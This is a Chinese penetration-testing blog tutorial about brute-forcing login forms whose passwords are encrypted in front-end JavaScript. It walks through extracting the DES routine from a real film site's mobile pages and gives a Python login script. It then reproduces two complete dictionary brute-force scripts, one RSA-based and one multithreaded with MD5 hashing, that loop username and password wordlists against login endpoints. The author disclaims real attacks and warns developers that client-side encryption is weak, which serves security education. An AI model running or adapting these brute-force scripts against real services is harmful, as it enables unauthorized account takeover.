渗透测试过程中,经常会遇到有的站点未对用户登录失败的次数进行限制,导致可以直接使用 BurpSuite 工具进行暴力破解。有的站点虽然可以爆破,却在前端使用JS代码对密码进行了加密,如果是常规的加密或者哈希算法,BurpSuite 的爆破功能自带了选择加密算法的功能,可直接爆破搞定即可。但如果遇上不是常规加密算法、或者开发人员对常见算法进行变形的情况……
本文将简述如何使用Python脚本对前端做了密码加密的站点进行暴力破解。
由于进行暴力破解需要得到合法授权才不算违法(你懂的……),所以下面首先要介绍的并不是暴力破解,而是使用Python脚本调用保存到本地的、用于前端加密的JS文件对用户输入的明文进行加密,从而实现对目标站点的模拟登录。
MTime 时光网 是一个电影媒体与电商服务平台,而这次做的模拟登录则是依靠其手机端站点,站点地址如下:
【严正声明】本人并未使用脚本进行过暴力破解攻击……该网站已对登陆失败次数进行限制,错误登录5次将被禁用无法登录(手工试的),所以请各位读者别动歪心思……
首先注册账号并尝试登录:
t=2020921817384257&name=130111122221&password=f096bcb738d4f7bd&code=&codeId=
参数 | 含义 |
---|---|
t | 类似于记录登录时间的参数 |
name | 用户名,此处是用户的手机号码 |
password | 加密后的密码,也是下面需要破解的参数对象 |
code、codeid | 此处暂时为空,当连续输入三次密码错误将要需要输入图型验证码 |
接下来的任务核心就是找出该站点JS文件中的加密算法。
1、老套路直接 F12 打开开发者工具,在调试器里面搜索关键字 “encrypt”(屡试不爽)……发现在app.all.min.js
文件中存在疑似对密码进行 DES 加密的函数function af(a)
:
2、代码做了混淆,为了确认此处 function af(a)
函数是不是用来对密码进行加密的,设置断点重新登录,发现传递过来的密码明文 qwe123
:
执行到 function af(a) 函数末尾,发现 return 的数据与之前抓包的 password 密文一致,至此可以断定 function af(a) 函数即为密码加密函数:
3、注意到 function af(a) 函数当中调用了 CryptoJS.DES.encrypt 函数,为了追溯该函数的来源,搜索 CryptoJS 发现存在于 libs.all.min.js 文件中:
4、将 libs.all.min.js 文件中 “var CryptoJS = CryptoJS || function (g, w) ” 所在行以后的JS代码全部保存到本地(共有1400多行)并重新命名为 encrypt.js 文件:
同时在 encrypt.js 文件末尾新增一个函数(用于充当app.all.min.js
文件中用于调用 libs.all.min.js 文件加密函数的function af(a)
函数):
既然前端JS加密脚本文件已经全部找到了,那就开始编写模拟登录的 Python 脚本了。代码比较简单(仅40余行)就不做分析了,直接附上完整代码:
import execjs
import requests
class MTimeSpider:
def __init__(self, username, password):
self.username = username
self.password = password
def encrypted(self):
"""
use JavaScript to encrypt the password
:return:
"""
with open("encrypt.js", "r", encoding="utf-8") as f:
ctx = execjs.compile(f.read())
self.password = ctx.call("encrypt", self.password)
print('加密后的密码是:'+self.password)
def request(self):
"""
send request and get the response
:return:
"""
self.encrypted()
login_api = "https://m.mtime.cn/Service/callback-comm.mi/user/login.api"
data = {
"t": "2020921817384257",
"name": self.username,
"password": self.password,
"code": "",
"codeId": ""
}
res = requests.post(url=login_api, data=data)
status, msg = res.json()["data"]["status"], res.json()["data"]["msg"]
if status == 1:
name = res.json()["data"]["user"]["nickname"]
print("用户:{}登录成功!".format(name))
else:
print("登录失败:{}".format(msg))
if __name__ == '__main__':
print("请输入账号:")
usr = input()
print("请输入密码:")
pwd = input()
spider = MTimeSpider(usr, pwd)
spider.request()
使用 Pycharm 新建项目并将上面准备好的加密文件 encrypt.js
放在工程目录下,然后来看看脚本的执行效果:
可以看到,上述脚本可成功对输入的密码明文进行加密,并向服务器发送登录请求,成功登录。
以上完成了如何使用 Python 脚本对目标站点发送加密后的登录请求,但是演示的站点已做了登录失败次数限制同时未经授权不能暴力破解。
下面附上一个使用 Python 脚本进行登录爆破的案例:
# -*- coding: UTF-8 -*-
# @Time : 2020/1/16 10:29
# @Author : Donvin.li
# @CSDN : https://blog.csdn.net/weixin_43853965/article/details/104020152
import rsa
import requests
def login(usr,psd):
passd=get_rsa_result(psd)
s=requests.session()
headers={
'Host': 'e.xxxx.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://e.xxxx.com',
'Connection': 'close',
'Referer': 'http://e.xxxx/portal/',
}
postdata={
'lang':'cn','userid':usr,'pwd':passd,'cmd':'CLIENT_USER_LOGIN','sid':'','deviceType':'pc','_CACHE_LOGIN_TIME_':'1579162050273','pwdEncode':'RSA','timeZone':'-8'}
url='http://e.xxxx.com/portal/r/jd'
rs=s.post(url,postdata,headers=headers)
result=rs.text
if 'error' not in result:
print('Login sucessful:'+usr+':'+psd)
else:
print('Not this!')
def get_rsa_result(content):
"""
根据 模量与指数 生成公钥,并利用公钥对内容 rsa 加密返回结果
:param e:指数
:param n: 模量
:param content:待加密字符串
:return: 加密后结果
"""
n = "8bcbceb956d3d6c0da8cd8847e50796eac0fb3d67d4901820fa85dcd8edbb30bd25966eb18223e1ace1308da181897df4559bf97cca6ae9a33a0baf6f53324334a385d2a7cbc186fb5070045080b6c948423e7ddcd795ac9eaa438317772f4a948409ecec92dfe222a10b4c327e8d0e494cc0aa42ebc786030a105da0637049d"
e = "10001"
e = int(e, 16)
n = int(n, 16)
pub_key = rsa.PublicKey(e=e, n=n)
m = rsa.encrypt(content.encode(), pub_key)
#print(m.hex())
return m.hex()
def Brute(ufile,pfile):
userfile=open(ufile,'r')
passdfile=open(pfile,'r')
for user in userfile:
usr=user.strip()
passdfile.seek(0)
#print(usr)
for passd in passdfile:
psd=passd.strip()
#print(usr,psd)
login(usr,psd)
if __name__ == '__main__':
Brute('u.txt','p.txt') #u.txt是用户名字典,p.txt是密码字典
还有另外一个大佬结合 Python 多线程进行爆破的案例:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
# @CSDN : https://blog.csdn.net/qq_23936389/article/details/81256012
import requests
import threadpool
from selenium import webdriver
import execjs
def getpass(str):
with open ('md5.js','r') as js:
source = js.read()
phantom = execjs.get('PhantomJS')
getpass = phantom.compile(source)
password = getpass.call('hex_md5',str)
return password
def login(user,passwd):
url="http://127.0.0.1/login.php"
payload ={
'username':user,'password':getpass(passwd)}
headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
try:
response = requests.post(url,data=payload,headers=headers,timeout=5)
result=response.content
if result.count('fail')<1:
print '[success] ' +url+":"+user+':'+passwd
except:
pass
def getLines(fileName):
list=[]
with open(fileName, 'r') as fd:
for line in fd.readlines():
line = line.strip()
if not len(line) or line.startswith('#'):
continue
list.append(line)
return list
if __name__ == '__main__':
username_list=getLines('user.dict')
password_list=getLines('pass.dict')
userlist = [([user,passwd],None) for user in username_list for passwd in password_list]
pool = threadpool.ThreadPool(20)
reqs = threadpool.makeRequests(login,userlist)
[pool.putRequest(req) for req in reqs]
pool.wait()
上述两段示例代码依次参考以下文章:
在实际的工作中,可结合上述“时光网”模拟登录的案例分析和暴力破解脚本,自行编写爆破脚本。也希望各位开发的大佬不要再觉得使用前端JS加密了用户密码之后就可以高枕无忧啦!